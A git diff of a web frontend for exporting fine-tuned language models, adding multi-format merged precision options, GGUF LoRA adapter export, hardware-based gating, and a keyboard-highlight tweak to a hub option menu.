+127,8 @@ export async function loadCheckpoint(params: { export async function exportMerged(params: { save_directory: string; format_type?: string; + /** Compressed-tensors scheme alias (e.g. "fp8", "w4a16", "mxfp4"); overrides format_type. */ + compressed_method?: string | null; push_to_hub?: boolean; repo_id?: string | null; hf_token?: string | null; @@ -158,7 +160,8 @@ export async function exportBase(params: { export async function exportGGUF(params: { save_directory: string; - quantization_method: string; + /** A single GGUF quant method or a list (list produces multiple GGUFs from one model load). */ + quantization_method: string | string[]; push_to_hub?: boolean; repo_id?: string | null; hf_token?: string | null; @@ -179,6 +182,10 @@ export async function exportLoRA(params: { repo_id?: string | null; hf_token?: string | null; private?: boolean; + /** Also convert the adapter to a GGUF LoRA file (llama.cpp `--lora`). */ + gguf?: boolean; + /** GGUF LoRA output float type (f32/f16/bf16/q8_0/auto); only used when gguf=true. */ + gguf_outtype?: string; }): Promise { const response = await authFetch("/api/export/export/lora", { method: "POST", diff --git a/studio/frontend/src/features/export/components/export-run-panel.tsx b/studio/frontend/src/features/export/components/export-run-panel.tsx index 9e0edf7303..29ba5a703b 100644 --- a/studio/frontend/src/features/export/components/export-run-panel.tsx +++ b/studio/frontend/src/features/export/components/export-run-panel.tsx @@ -28,7 +28,11 @@ import { import { HugeiconsIcon } from "@hugeicons/react"; import { useEffect, useRef, useState } from "react"; import { useShallow } from "zustand/react/shallow"; -import { EXPORT_METHODS, type ExportMethod } from "../constants"; +import { + EXPORT_METHODS, + type ExportMethod, + findMergedFormat, +} from "../constants"; import type { ExportLogEntry } from "../api/export-api"; import { getExportLogLineClass } from "../lib/log-style"; import { @@ -200,6 +204,9 @@ export function ExportRunPanel(props: ExportRunPanelProps) { const summaryMethodLabel = summary?.methodLabel ?? methodTitle; const summaryQuants = summary?.quantLevels ?? quantLevels; const summaryMethod = summary?.method ?? exportMethod; + const summaryFormats = (summary?.mergedFormats ?? []).map( + (v) => findMergedFormat(v)?.label ?? v, + ); const showProgress = isExporting || isTerminal; return ( @@ -392,14 +399,32 @@ export function ExportRunPanel(props: ExportRunPanelProps) { ? "Export finished and pushed to Hugging Face Hub." : "Export finished successfully."} - {run.result?.outputPath ? ( - - {run.result.outputPath} - - ) : null} + {(() => { + // List every folder written; a multi-format merged run created one per format. + const paths = run.result?.outputPaths ?? []; + const items = + paths.length > 0 + ? paths + : run.result?.outputPath + ? [{ label: "", path: run.result.outputPath }] + : []; + const showLabels = items.length > 1; + return items.map((o, i) => ( +
+ {showLabels && o.label ? ( + + {o.label} + + ) : null} + + {o.path} + +
+ )); + })()}
)} @@ -432,6 +457,14 @@ export function ExportRunPanel(props: ExportRunPanelProps) { Export Method {summaryMethodLabel}
+ {summaryMethod === "merged" && summaryFormats.length > 0 && ( +
+ Formats + + {summaryFormats.join(", ")} + +
+ )} {summaryMethod === "gguf" && summaryQuants.length > 0 && (
Quantizations diff --git a/studio/frontend/src/features/export/constants.ts b/studio/frontend/src/features/export/constants.ts index 058de1edc4..be9080ba14 100644 --- a/studio/frontend/src/features/export/constants.ts +++ b/studio/frontend/src/features/export/constants.ts @@ -55,34 +55,172 @@ export const QUANT_OPTIONS: { { value: "f16", label: "F16" }, ]; -/** Merged-export precision formats. The compressed-tensors ones run llm-compressor for vLLM. */ -export type MergedFormat = - | "16-bit (FP16)" - | "FP8 (compressed-tensors)" - | "NVFP4 (compressed-tensors)"; +/** + * Merged-export precision formats, sorted by bit width. Three backends: + * - "plain": standard save (16-bit); `formatType` is the backend `format_type`. + * - "compressed": llm-compressor compressed-tensors (vLLM), NVIDIA-only; `value` is the alias. + * - "torchao": portable FP8/INT8, no NVIDIA GPU needed; `value` is the alias. + * `common` entries are quick pills, the rest the "More formats" dropdown; `needsNvidia` entries + * are hidden on non-NVIDIA hardware. + */ +export type MergedBackend = "plain" | "compressed" | "torchao"; -export const MERGED_FORMATS: { - value: MergedFormat; +export type MergedFormatOption = { + value: string; label: string; + bits: number; + backend: MergedBackend; + group: string; + common: boolean; + needsNvidia: boolean; + needsCalibration?: boolean; hint: string; -}[] = [ + /** Backend `format_type` for a "plain" save (unused for compressed/torchao). */ + formatType?: string; +}; + +/** Kept as a string alias for back-compat with callers that typed the old union. */ +export type MergedFormat = string; + +export const MERGED_FORMATS: MergedFormatOption[] = [ + // 16-bit { - value: "16-bit (FP16)", + value: "16-bit", label: "16-bit", + bits: 16, + backend: "plain", + group: "16-bit", + common: true, + needsNvidia: false, hint: "Full precision, runs anywhere.", + formatType: "16-bit (FP16)", + }, + // 8-bit + { + value: "fp8", + label: "FP8", + bits: 8, + backend: "compressed", + group: "FP8", + common: true, + needsNvidia: true, + hint: "Dynamic per-token FP8 (W8A8) for vLLM. Data-free.", }, { - value: "FP8 (compressed-tensors)", - label: "FP8 (vLLM)", - hint: "compressed-tensors FP8 for vLLM. Needs an NVIDIA GPU.", + value: "torchao_fp8", + label: "FP8 (portable)", + bits: 8, + backend: "torchao", + group: "Portable", + common: true, + needsNvidia: false, + hint: "Device-agnostic FP8 (torchao). Produces on any hardware; loads in vLLM.", }, { - value: "NVFP4 (compressed-tensors)", - label: "NVFP4 (vLLM)", - hint: "compressed-tensors NVFP4 for vLLM. Needs an NVIDIA GPU; calibrates.", + value: "w8a8", + label: "INT8 (W8A8)", + bits: 8, + backend: "compressed", + group: "INT", + common: true, + needsNvidia: true, + hint: "8-bit weights and 8-bit activations for vLLM. Data-free.", + }, + { + value: "torchao_int8", + label: "INT8 (portable)", + bits: 8, + backend: "torchao", + group: "Portable", + common: true, + needsNvidia: false, + hint: "Device-agnostic INT8 (torchao). Produces on any hardware; loads in vLLM.", + }, + { + value: "fp8_static", + label: "FP8 Static", + bits: 8, + backend: "compressed", + group: "FP8", + common: false, + needsNvidia: true, + needsCalibration: true, + hint: "Static per-tensor FP8. Calibrates on data.", + }, + { + value: "w8a16", + label: "INT8 (W8A16)", + bits: 8, + backend: "compressed", + group: "INT", + common: false, + needsNvidia: true, + hint: "8-bit weight-only. Data-free.", + }, + { + value: "mxfp8", + label: "MXFP8", + bits: 8, + backend: "compressed", + group: "MXFP", + common: false, + needsNvidia: true, + hint: "Microscaling FP8. Needs a newer compressed-tensors stack.", + }, + // 4-bit + { + value: "w4a16", + label: "INT4 (W4A16)", + bits: 4, + backend: "compressed", + group: "INT", + common: true, + needsNvidia: true, + hint: "4-bit weight-only (GPTQ-style) for vLLM. Data-free.", + }, + { + value: "mxfp4", + label: "MXFP4", + bits: 4, + backend: "compressed", + group: "MXFP", + common: true, + needsNvidia: true, + hint: "Microscaling FP4 (W4A4) for vLLM. Data-free.", + }, + { + value: "nvfp4", + label: "NVFP4", + bits: 4, + backend: "compressed", + group: "FP4", + common: true, + needsNvidia: true, + needsCalibration: true, + hint: "NVIDIA FP4 (W4A4) for vLLM. Calibrates on data.", }, ]; +/** Look up a merged format option by its stable value. */ +export function findMergedFormat(value: string): MergedFormatOption | undefined { + return MERGED_FORMATS.find((f) => f.value === value); +} + +/** Backend payload for one merged format: plain -> formatType, compressed/torchao -> the alias. */ +export function mergedFormatPayload(value: string): { + formatType: string; + compressedMethod: string | null; +} { + const opt = findMergedFormat(value); + if (!opt || opt.backend === "plain") { + return { + formatType: opt?.formatType ?? "16-bit (FP16)", + compressedMethod: null, + }; + } + return { formatType: "16-bit (FP16)", compressedMethod: opt.value }; +} + /** * llama.cpp effective bits-per-weight per quant; GGUF size ~= fp16_bytes * bpw / 16. * K-quant values are published average bit-rates (Q2_K_L = Unsloth Q2_K + Q8_0 diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx index 7b5c6ec6d4..07606a26ed 100644 --- a/studio/frontend/src/features/export/export-page.tsx +++ b/studio/frontend/src/features/export/export-page.tsx @@ -24,6 +24,19 @@ import { SelectTrigger, SelectValue, } from "@/components/ui/select"; +import { + DropdownMenu, + DropdownMenuCheckboxItem, + DropdownMenuContent, + DropdownMenuLabel, + DropdownMenuSeparator, + DropdownMenuTrigger, +} from "@/components/ui/dropdown-menu"; +import { + Alert, + AlertDescription, + AlertTitle, +} from "@/components/ui/alert"; import { Separator } from "@/components/ui/separator"; import { Spinner } from "@/components/ui/spinner"; import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs"; @@ -63,11 +76,14 @@ import { type ExportMethod, GUIDE_STEPS, MERGED_FORMATS, - type MergedFormat, + type MergedFormatOption, + mergedFormatPayload, QUANT_OPTIONS, buildQuantSizeLabels, getEstimatedSize, } from "./constants"; +import { useHardwareInfo } from "@/hooks/use-hardware-info"; +import { usePlatformStore } from "@/config/env"; import { isExportPanelActive, useExportRuntimeStore, @@ -78,6 +94,10 @@ import { exportTourSteps } from "./tour"; const SEARCH_INPUT_REASONS = new Set(["input-change", "input-paste", "input-clear"]); +// GGUF LoRA output float types (Q8_0 first / default). Q8_0 falls back to F16 per tensor for dims +// not divisible by the block size (32); no "auto" - the choice is explicit. +const LORA_GGUF_OUTTYPES = ["q8_0", "f16", "bf16", "f32"] as const; + type SourceTab = "local" | "checkpoint" | "hf"; type SourceMode = "checkpoint" | "model"; @@ -109,7 +129,16 @@ function buildRelativeSaveDirectory( : sourceBaseModelName; return `${safePathSegment(rawName)}-GGUF`; } - return `${selectedModelIdx ?? "model"}/${checkpoint}`; + // Merged / LoRA: a checkpoint keeps the "/" layout under outputs. + if (sourceMode === "checkpoint" && selectedModelIdx && checkpoint) { + return `${selectedModelIdx}/${checkpoint}`; + } + // Local / HF source (no checkpoint): name from the model id to avoid "model/null". + const rawName = + sourceMode === "checkpoint" + ? checkpoint ?? selectedModelIdx ?? sourceBaseModelName + : sourceBaseModelName; + return `${safePathSegment(rawName)}-${exportMethod === "lora" ? "adapter" : "merged"}`; } function siblingGgufDirectory(sourcePath: string): string | null { @@ -177,9 +206,57 @@ export function ExportPage() { }); // GGUF importance matrix (required for the IQ quants) and merged-export precision. const [useImatrix, setUseImatrix] = useState(false); - const [mergedFormat, setMergedFormat] = useState("16-bit (FP16)"); - // IQ quants are imatrix-only, so force it on when one is selected; otherwise we would submit - // an IQ quant with no imatrix and llama.cpp would reject it. + // Merged precision: one or more MERGED_FORMATS values, exported in one run. Seed from a live run + // so navigating away and back (which remounts this page) keeps the selection, like exportMethod. + const [selectedFormats, setSelectedFormats] = useState(() => { + const s = useExportRuntimeStore.getState(); + return isExportPanelActive(s) && + s.summary?.method === "merged" && + s.summary.mergedFormats.length > 0 + ? s.summary.mergedFormats + : ["16-bit"]; + }); + // LoRA-only export: optionally also emit a GGUF LoRA adapter, and its output float type. + const [loraAsGguf, setLoraAsGguf] = useState(false); + const [loraGgufOuttype, setLoraGgufOuttype] = useState("q8_0"); + // GGUF method: export the full model as GGUF quants, or (for an adapter checkpoint) a GGUF LoRA. + const [ggufTarget, setGgufTarget] = useState<"model" | "lora">("model"); + + const hardware = useHardwareInfo(); + // GGUF LoRA conversion is rejected on the macOS / MLX path, so gate it out on a Mac host. + const isMacHost = usePlatformStore((s) => s.deviceType) === "mac"; + // Real CUDA (not ROCm); gates the NVIDIA-only compressed-tensors formats. + const hasNvidia = hardware.cuda != null && hardware.rocm == null; + // Only gray out on an authoritative unsupported response; while unloaded the backend route guard + // stays authoritative. The backend supplies the precise reason; the fallback below is a backstop. + const exportUnsupported = + hardware.loaded && hardware.exportSupported === false; + const exportUnsupportedMessage = + hardware.exportUnsupportedMessage ?? + "Export requires a supported accelerator (NVIDIA, AMD, or Intel GPU, or Apple Silicon) with PyTorch or MLX installed."; + const availableFormats = useMemo( + () => + MERGED_FORMATS.filter((f) => { + // compressed-tensors (llm-compressor) is the NVIDIA path; shown only on an NVIDIA GPU. + if (f.backend === "compressed") return hasNvidia; + // Portable torchao is the fallback for hosts without the NVIDIA compressed path, i.e. a + // CPU / non-NVIDIA box. Hidden on NVIDIA (use compressed-tensors) and on macOS/MLX (the + // backend rejects quantized export there). + if (f.backend === "torchao") return !hasNvidia && !isMacHost; + // Plain 16-bit is available everywhere. + return true; + }), + [hasNvidia, isMacHost], + ); + const toggleFormat = useCallback((value: string) => { + setSelectedFormats((prev) => + prev.includes(value) + ? prev.filter((v) => v !== value) + : [...prev, value], + ); + }, []); + // availableFormats already drops NVIDIA-only formats on other hardware, so no pruning needed. + // IQ quants are imatrix-only: force imatrix on when one is selected, else llama.cpp rejects it. const requiresImatrix = quantLevels.some( (q) => QUANT_OPTIONS.find((o) => o.value === q)?.imatrix, ); @@ -304,6 +381,11 @@ export function ExportPage() { const baseModelName = selectedModelData?.base_model ?? "—"; const isAdapter = !!selectedModelData?.peft_type; const isQuantized = !!selectedModelData?.is_quantized; + // isAdapter / isQuantized come from the checkpoint's metadata and are stale in "model" source + // mode (a direct base export), so treat both as false outside checkpoint mode to avoid wrongly + // gating the methods. + const effectiveIsAdapter = sourceMode === "checkpoint" && isAdapter; + const effectiveIsQuantized = sourceMode === "checkpoint" && isQuantized; const loraRank = selectedModelData?.lora_rank ?? null; const trainingMethodLabel = selectedModelData?.peft_type ? "LoRA / QLoRA" @@ -416,25 +498,30 @@ export function ExportPage() { setCheckpoint(null); }, [selectedModelIdx]); - // For a ?run= deep link, default to the run's main checkpoint. Declared after - // the reset effect above so it runs last and isn't clobbered back to null. + // Default to the newest checkpoint when none is chosen (checkpoints are sorted newest-first). + // Declared after the reset effect above so it runs last and isn't clobbered back to null. Covers + // both a ?run= deep link and a plain finetune opened without an explicit checkpoint pick. useEffect(() => { - if (appliedRunRef.current == null) return; - if (appliedRunRef.current !== selectedModelIdx) return; + if (sourceMode !== "checkpoint") return; if (checkpoint != null || checkpointsForModel.length === 0) return; setCheckpoint(checkpointsForModel[0].display_name); - }, [selectedModelIdx, checkpoint, checkpointsForModel]); + }, [sourceMode, selectedModelIdx, checkpoint, checkpointsForModel]); // Auto-reset export method if incompatible with the selected model type useEffect(() => { - if (!isAdapter && (exportMethod === "merged" || exportMethod === "lora")) { + // Only LoRA needs a real adapter; Merged and GGUF work for non-PEFT base models too. + if (!effectiveIsAdapter && exportMethod === "lora") { setExportMethod(null); } // Quantized non-PEFT models can't export to any format - if (!isAdapter && isQuantized && exportMethod !== null) { + if (!effectiveIsAdapter && effectiveIsQuantized && exportMethod !== null) { setExportMethod(null); } - }, [isAdapter, isQuantized, exportMethod]); + // The GGUF LoRA target only applies to an adapter checkpoint on a non-Mac host. + if ((!effectiveIsAdapter || isMacHost) && ggufTarget !== "model") { + setGgufTarget("model"); + } + }, [effectiveIsAdapter, effectiveIsQuantized, exportMethod, isMacHost, ggufTarget]); const handleSourceTabChange = useCallback((next: string) => { if (next === "checkpoint") { @@ -442,7 +529,7 @@ export function ExportPage() { } else if (next === "hf" || next === "local") { setSourceMode("model"); setModelSource(next); - setExportMethod("gguf"); + // Don't force GGUF: Local / HF sources can export Merged too; a stale LoRA pick auto-resets. } else { return; } @@ -508,10 +595,26 @@ export function ExportPage() { sourceMode, ]); const saveDirectory = customSaveDirectory?.trim() || defaultSaveDirectory; + // Each merged format uploads a full model to the repo root, so several to one repo would collide. + // GGUF method exporting an adapter checkpoint as a GGUF LoRA (vs full-model quants). Reuses the + // LoRA-adapter export path; no quant list needed. + const ggufAsLora = + exportMethod === "gguf" && + ggufTarget === "lora" && + effectiveIsAdapter && + !isMacHost; + + // Restrict a Hub merged export to a single format; multi-format stays available for local export. + const hubMultiFormat = + destination === "hub" && exportMethod === "merged" && selectedFormats.length > 1; + const canExport = !!( selectedExportSource && exportMethod && - (exportMethod !== "gguf" || quantLevels.length > 0) + !exportUnsupported && + !hubMultiFormat && + (exportMethod !== "gguf" || ggufAsLora || quantLevels.length > 0) && + (exportMethod !== "merged" || selectedFormats.length > 0) ); const applyHfSourceModel = useCallback((value: string) => { @@ -576,9 +679,14 @@ export function ExportPage() { const handleStart = useCallback(async () => { const source = sourceMode === "checkpoint" ? checkpoint : selectedSourceModel; if (!source || !exportMethod) return; - // A GGUF export with no quant selected runs zero exports yet would still - // settle as success with no file; require at least one (mirrors canExport). - if (exportMethod === "gguf" && quantLevels.length === 0) return; + // No supported accelerator (or PyTorch/MLX missing): the backend would reject anyway; don't submit. + if (exportUnsupported) return; + // GGUF with no quant, or merged with no format, would run an unintended/empty export; require + // at least one (mirrors canExport, in case the panel's Start button bypasses the outer one). + if (exportMethod === "gguf" && !ggufAsLora && quantLevels.length === 0) return; + if (exportMethod === "merged" && selectedFormats.length === 0) return; + // A Hub merged push writes each format to the repo root; several would collide (mirrors canExport). + if (hubMultiFormat) return; const selectedCp = sourceMode === "checkpoint" ? checkpointsForModel.find((cp) => cp.display_name === checkpoint) @@ -591,8 +699,13 @@ export function ExportPage() { ? `${hfUsername}/${modelName}` : undefined; const token = pushToHub && hfToken ? hfToken : undefined; - const methodLabel = - EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod; + // The GGUF method with the LoRA target reuses the LoRA-adapter export path. + const effectiveMethod: ExportMethod = ggufAsLora ? "lora" : exportMethod; + const emitLoraGguf = + ggufAsLora || (effectiveMethod === "lora" && loraAsGguf && !isMacHost); + const methodLabel = ggufAsLora + ? "GGUF LoRA adapter" + : (EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod); const adapterExport = sourceMode === "checkpoint" && isAdapter; // Consent gate for an HF source's custom (auto_map) code, run before we hand @@ -624,11 +737,16 @@ export function ExportPage() { trustRemoteCode, approvedRemoteCodeFingerprint, loadToken: hfToken || null, - exportMethod, + exportMethod: effectiveMethod, isAdapter: adapterExport, quantLevels, useImatrix: effectiveImatrix, - mergedFormat, + mergedSelections: selectedFormats.map((v) => ({ + ...mergedFormatPayload(v), + label: MERGED_FORMATS.find((f) => f.value === v)?.label ?? v, + })), + loraGguf: emitLoraGguf, + loraGgufOuttype, saveDirectory, destination, repoId, @@ -639,8 +757,9 @@ export function ExportPage() { baseModelName: sourceBaseModelName, checkpointLabel: selectedExportSource, methodLabel, - method: exportMethod, + method: effectiveMethod, quantLevels, + mergedFormats: exportMethod === "merged" ? selectedFormats : [], destination, }, }); @@ -656,7 +775,13 @@ export function ExportPage() { isAdapter, quantLevels, effectiveImatrix, - mergedFormat, + selectedFormats, + hubMultiFormat, + ggufAsLora, + loraAsGguf, + isMacHost, + loraGgufOuttype, + exportUnsupported, destination, saveDirectory, hfUsername, @@ -1163,75 +1288,303 @@ export function ExportPage() {
+ {exportUnsupported && ( + + + Export unavailable + {exportUnsupportedMessage} + + )} + - {exportMethod === "merged" && isAdapter && ( -
-
Precision
-
- {MERGED_FORMATS.map((f) => ( - - ))} -
-
- {MERGED_FORMATS.find((f) => f.value === mergedFormat)?.hint} + {exportMethod === "merged" && !exportUnsupported && ( +
+
+
+
Precision
+ + — select one or more + +
+
+ {availableFormats + .filter((f) => f.common) + .map((f) => { + const active = selectedFormats.includes(f.value); + return ( + + ); + })} + + {availableFormats.some((f) => !f.common) && ( + + + + + + + Additional formats + + + {availableFormats + .filter((f) => !f.common) + .map((f) => ( + toggleFormat(f.value)} + onSelect={(e) => e.preventDefault()} + > + + + {f.label} + {f.needsCalibration ? " *" : ""} + + + {f.hint} + + + + ))} + + + )} +
+ + {selectedFormats.length > 0 && ( +
+ + {selectedFormats.length} selected:{" "} + {selectedFormats + .map( + (v) => + MERGED_FORMATS.find((f) => f.value === v) + ?.label ?? v, + ) + .join(", ")} + + {selectedFormats.length > 1 && ( + + )} +
+ )} + + {hubMultiFormat && ( +
+ Hub export supports one format at a time (each writes to + the repository root). Select a single format, or export + locally to produce several at once. +
+ )} + + {selectedFormats.some( + (v) => + MERGED_FORMATS.find((f) => f.value === v) + ?.needsCalibration, + ) && ( +
+ * calibrates on data (uses a small calibration set). +
+ )} + + {!hasNvidia && ( +
+ No NVIDIA GPU detected: compressed-tensors formats are + hidden. 16-bit and portable FP8/INT8 (torchao) still + work here and load in vLLM. +
+ )}
)} - {exportMethod === "gguf" && ( - <> - -
-
-
- Importance matrix (imatrix) + {exportMethod === "lora" && effectiveIsAdapter && !exportUnsupported && ( +
+
+
Adapter format
+
+ + +
+
+ {isMacHost + ? "GGUF LoRA is not available on macOS/MLX; exporting the safetensors adapter." + : loraAsGguf + ? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate." + : "Standard PEFT adapter files. Pair with the base model at inference."} +
+
+ + {loraAsGguf && ( +
+
Output type
+ +
+ )} +
+ )} + + {exportMethod === "gguf" && !exportUnsupported && ( +
+ {effectiveIsAdapter && !isMacHost && ( +
+
Export target
+
+ +
- {requiresImatrix - ? "Required for the selected IQ low-bit quant. Auto-downloads the upstream Unsloth imatrix for the base model." - : "Improves quant quality and unlocks the IQ low-bit quants. Auto-downloads the upstream Unsloth imatrix for the base model."} + {ggufTarget === "lora" + ? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate." + : "Merges the adapter into the base model, then quantizes the full model to GGUF."}
- -
- + )} + + {ggufAsLora ? ( +
+
Output type
+ +
+ ) : ( + <> + +
+
+
+ Importance matrix (imatrix) +
+
+ {requiresImatrix + ? "Required for the selected IQ low-bit quant. Auto-downloads the upstream Unsloth imatrix for the base model." + : "Improves quant quality and unlocks the IQ low-bit quants. Auto-downloads the upstream Unsloth imatrix for the base model."} +
+
+ +
+ + )} +
)} {estimatedSize && (
diff --git a/studio/frontend/src/features/export/stores/export-runtime-store.ts b/studio/frontend/src/features/export/stores/export-runtime-store.ts index a87e7d93e9..6ee5c78994 100644 --- a/studio/frontend/src/features/export/stores/export-runtime-store.ts +++ b/studio/frontend/src/features/export/stores/export-runtime-store.ts @@ -5,7 +5,6 @@ import { create } from "zustand"; import { cancelExport, cleanupExport, - exportBase, exportGGUF, exportLoRA, exportMerged, @@ -119,6 +118,8 @@ export interface ExportRunSummary { methodLabel: string; method: ExportMethod; quantLevels: string[]; + /** Merged: the selected format values (for the summary "Formats" row and to reseed the picker). */ + mergedFormats: string[]; destination: ExportDestination; } @@ -140,8 +141,16 @@ export interface RunExportParams { quantLevels: string[]; /** GGUF: use an importance matrix (auto-download); required for the IQ quants. */ useImatrix?: boolean; - /** Merged: precision/format ("16-bit (FP16)" or a compressed-tensors option). */ - mergedFormat?: string; + /** Merged: precision formats, each exported to its own sibling directory. Defaults to 16-bit. + * `label` is the display name for the success banner's per-format output line. */ + mergedSelections?: { + formatType: string; + compressedMethod: string | null; + label: string; + }[]; + /** LoRA: also emit a GGUF LoRA adapter (llama.cpp `--lora`), and its output float type. */ + loraGguf?: boolean; + loraGgufOuttype?: string; saveDirectory: string; destination: ExportDestination; repoId?: string; @@ -172,7 +181,13 @@ interface ExportRuntimeState { * settling the run by polling /api/export/status instead. Logs keep streaming. */ reconnecting: boolean; startedAt: number | null; - result: { outputPath: string | null; destination: ExportDestination } | null; + /** `outputPath` is the first path (back-compat); `outputPaths` is one entry per written folder + * so a multi-format merged run can list every sibling directory it created. */ + result: { + outputPath: string | null; + outputPaths: { label: string; path: string }[]; + destination: ExportDestination; + } | null; error: string | null; cancelRequested: boolean; hasHydrated: boolean; @@ -317,6 +332,10 @@ export const useExportRuntimeStore = create()((set, get) => phase: "success" as const, result: { outputPath: status.last_op_output_path ?? null, + // A run recovered from the backend only knows the last output path. + outputPaths: status.last_op_output_path + ? [{ label: "", path: status.last_op_output_path }] + : [], destination: state.result?.destination ?? "local", }, }; @@ -351,7 +370,9 @@ export const useExportRuntimeStore = create()((set, get) => const quantTotal = params.exportMethod === "gguf" ? Math.max(1, params.quantLevels.length) - : 1; + : params.exportMethod === "merged" + ? Math.max(1, params.mergedSelections?.length ?? 1) + : 1; set({ runId, @@ -431,67 +452,72 @@ export const useExportRuntimeStore = create()((set, get) => } if (!isCurrent()) return; - // 2. Run the export. Capture the resolved output_path for the success - // banner; multi-quant GGUF shares one directory, so keep the last. + // 2. Run the export. Collect every resolved output_path so the success + // banner can list each sibling directory a multi-format run created. set({ phase: "exporting" }); - let lastOutputPath: string | null = null; + const outputs: { label: string; path: string }[] = []; if (params.exportMethod === "merged") { - if (params.isAdapter) { + // Each selected format writes its own sibling directory (PEFT or non-PEFT base alike). + const selections = + params.mergedSelections && params.mergedSelections.length > 0 + ? params.mergedSelections + : [{ formatType: "16-bit (FP16)", compressedMethod: null, label: "16-bit" }]; + for (let i = 0; i < selections.length; i += 1) { + if (!isCurrent()) return; + set({ quantIndex: i }); + const sel = selections[i]; const { outputPath } = await runRecoverableOp(() => exportMerged({ save_directory: params.saveDirectory, - format_type: params.mergedFormat, + format_type: sel.formatType, + compressed_method: sel.compressedMethod, push_to_hub: pushToHub, repo_id: params.repoId, hf_token: params.token, private: params.privateRepo, }), ); - lastOutputPath = outputPath; - } else { - const { outputPath } = await runRecoverableOp(() => - exportBase({ - save_directory: params.saveDirectory, - push_to_hub: pushToHub, - repo_id: params.repoId, - hf_token: params.token, - private: params.privateRepo, - base_model_id: params.baseModelId, - }), - ); - lastOutputPath = outputPath; - } - } else if (params.exportMethod === "gguf") { - for (let i = 0; i < params.quantLevels.length; i += 1) { - if (!isCurrent()) return; - set({ quantIndex: i }); - const quant = params.quantLevels[i]; - const { outputPath } = await runRecoverableOp(() => - exportGGUF({ - save_directory: params.saveDirectory, - quantization_method: quant, - push_to_hub: pushToHub, - repo_id: params.repoId, - hf_token: params.token, - imatrix: params.useImatrix, - }), - ); - lastOutputPath = outputPath ?? lastOutputPath; + if (outputPath) outputs.push({ label: sel.label, path: outputPath }); if (!isCurrent()) return; set({ quantIndex: i + 1 }); } + } else if (params.exportMethod === "gguf") { + // Send the whole quant list in ONE call: the model is merged once and every GGUF comes + // from that single merge (unsloth save_to_gguf loops internally). + const { outputPath } = await runRecoverableOp(() => + exportGGUF({ + save_directory: params.saveDirectory, + quantization_method: params.quantLevels, + push_to_hub: pushToHub, + repo_id: params.repoId, + hf_token: params.token, + imatrix: params.useImatrix, + }), + ); + if (outputPath) outputs.push({ label: "GGUF", path: outputPath }); + if (!isCurrent()) return; + set({ quantIndex: get().quantTotal }); } else if (params.exportMethod === "lora") { const { outputPath } = await runRecoverableOp(() => exportLoRA({ save_directory: params.saveDirectory, push_to_hub: pushToHub, repo_id: params.repoId, - hf_token: params.token, + // A local GGUF LoRA export still reloads a possibly-gated base config, so fall back to + // the load token when there is no hub-upload token (both are the same HF token). + hf_token: params.token ?? params.loadToken ?? null, private: params.privateRepo, + gguf: params.loraGguf ?? false, + gguf_outtype: params.loraGgufOuttype ?? "q8_0", }), ); - lastOutputPath = outputPath; + if (outputPath) { + outputs.push({ + label: params.loraGguf ? "GGUF LoRA adapter" : "LoRA adapter", + path: outputPath, + }); + } } if (!isCurrent()) return; @@ -499,7 +525,11 @@ export const useExportRuntimeStore = create()((set, get) => phase: "success", isExporting: false, reconnecting: false, - result: { outputPath: lastOutputPath, destination: params.destination }, + result: { + outputPath: outputs[0]?.path ?? null, + outputPaths: outputs, + destination: params.destination, + }, }); } catch (err) { if (!isCurrent()) return; diff --git a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx index 7895a89254..38464d36e4 100644 --- a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx +++ b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx @@ -38,6 +38,7 @@ export function HubOptionMenu({ showChevron = true, title, triggerContent, + footer, }: { value: T; options: readonly HubOption[]; @@ -49,9 +50,12 @@ export function HubOptionMenu({ showChevron?: boolean; title?: string; triggerContent?: ReactNode; + /** Rendered under the options behind a separator; clicks keep the menu open. */ + footer?: ReactNode; }) { const [open, setOpen] = useState(false); - const [activeIndex, setActiveIndex] = useState(0); + // -1 = nothing highlighted (no hover, no keyboard nav yet). + const [activeIndex, setActiveIndex] = useState(-1); const triggerRef = useRef(null); const listboxRef = useRef(null); const idBase = useId(); @@ -63,9 +67,9 @@ export function HubOptionMenu({ }, [options, value]); const selected = options[selectedIndex]; const resolvedActiveIndex = - options.length === 0 + options.length === 0 || activeIndex < 0 ? -1 - : Math.min(Math.max(activeIndex, 0), options.length - 1); + : Math.min(activeIndex, options.length - 1); const activeOptionId = resolvedActiveIndex >= 0 ? `${idBase}-option-${resolvedActiveIndex}` : undefined; @@ -92,11 +96,13 @@ export function HubOptionMenu({ (nextOpen: boolean) => { setOpen(nextOpen); if (nextOpen) { - activateIndex(selectedIndex); + // Nothing highlighted until the user hovers or uses the keyboard; + // keyboard nav anchors on the selected option (handleContentKeyDown). + activateIndex(-1); requestAnimationFrame(() => listboxRef.current?.focus()); } }, - [activateIndex, selectedIndex], + [activateIndex], ); const handleContentKeyDown = useCallback( @@ -112,12 +118,21 @@ export function HubOptionMenu({ } if (event.key === "ArrowDown") { event.preventDefault(); - setActiveIndex((currentIndex + 1) % options.length); + // First arrow press highlights the selected option, then steps. + setActiveIndex( + resolvedActiveIndex < 0 + ? selectedIndex + : (currentIndex + 1) % options.length, + ); return; } if (event.key === "ArrowUp") { event.preventDefault(); - setActiveIndex((currentIndex - 1 + options.length) % options.length); + setActiveIndex( + resolvedActiveIndex < 0 + ? selectedIndex + : (currentIndex - 1 + options.length) % options.length, + ); return; } if (event.key === "Home") { @@ -197,6 +212,7 @@ export function HubOptionMenu({ aria-activedescendant={activeOptionId} tabIndex={0} onKeyDown={handleContentKeyDown} + onPointerLeave={() => activateIndex(-1)} className="outline-none" > {options.map((option, index) => { @@ -235,6 +251,12 @@ export function HubOptionMenu({ ); })}
+ {footer && ( + // -mt-3 cancels the surface's 16px flex gap down to 4px. No side + // padding: the footer label carries the same padding as the options + // so its checkbox lines up with the option text. +
{footer}
